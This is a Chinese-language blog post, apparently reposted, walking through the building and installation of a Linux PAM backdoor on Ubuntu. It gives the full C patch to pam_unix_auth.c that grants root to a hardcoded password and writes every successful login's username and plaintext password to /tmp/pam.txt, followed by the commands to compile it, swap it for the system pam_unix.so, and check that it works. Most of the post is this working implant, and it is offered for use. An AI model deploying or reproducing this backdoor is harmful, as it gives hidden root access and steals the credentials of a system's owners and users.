Linux pam 后門紀錄root用戶密碼以及自己設置root密碼登錄root


最近看了一下有關Linux pam后門相關的知識點,發現有一些坑,便記錄一下

本次用的機器為Ubuntu16.04

一、查看本機pam版本

dpkg -l | grep pam

可以看到pam的版本為1.1.8

二、下載對應版本的pam

各個版本的pam包下載地址:http://www.linux-pam.org/library/

下載對應版本的壓縮包並解壓
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8.tar.gz

三、編譯

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
特別注意:64位系統編譯可能會遇到yywrap()函數未定義錯誤,需先安裝flex軟件包,而網上的大部分都是添加
#define yywrap() 1
但我的添加了並沒有解決,反而又報了其他的錯誤,一直卡在了這
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
sudo apt-get install flex

修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 中的內容

if(strcmp(p,"adhzl")==0){
  retval=PAM_SUCCESS;
}
if(retval==PAM_SUCCESS){
  FILE * fp;
   fp=fopen("/tmp/pam.txt","a");
   fprintf(fp,"%s::%s\n",name,p);
   fclose(fp);
}

其中strcmp(p,"adhzl")中的adhzl為自己設置的root密碼,可以用來登錄root用戶,/tmp/pam.txt為紀錄的root用戶的登錄密碼的路徑和保存的文件名

然后在解壓的路徑下編譯安裝

./configure
make

編譯完之后的后門文件在

/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so

四、替換

首先查找原來的pam_unix.so的路徑

sudo find / -name pam_unix.so

我的是在

/lib/x86_64-linux-gnu/security/pam_unix.so

先備份原來的pam_unix.so,然后復制編譯生成的pam_unix.so到/lib/x86_64-linux-gnu/security/目錄下

五、驗證

su root

輸入之前輸入的預設密碼

可以登錄到root用戶

然后輸入真正的root用戶的密碼,也可以登錄到root用戶

在/tmp目錄下查看是否有pat.txt

查看pam.txt內容

前兩次為用自己輸入的密碼成功登錄到root用戶,第三次為輸入真正的root用戶的密碼,都紀錄了下來。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM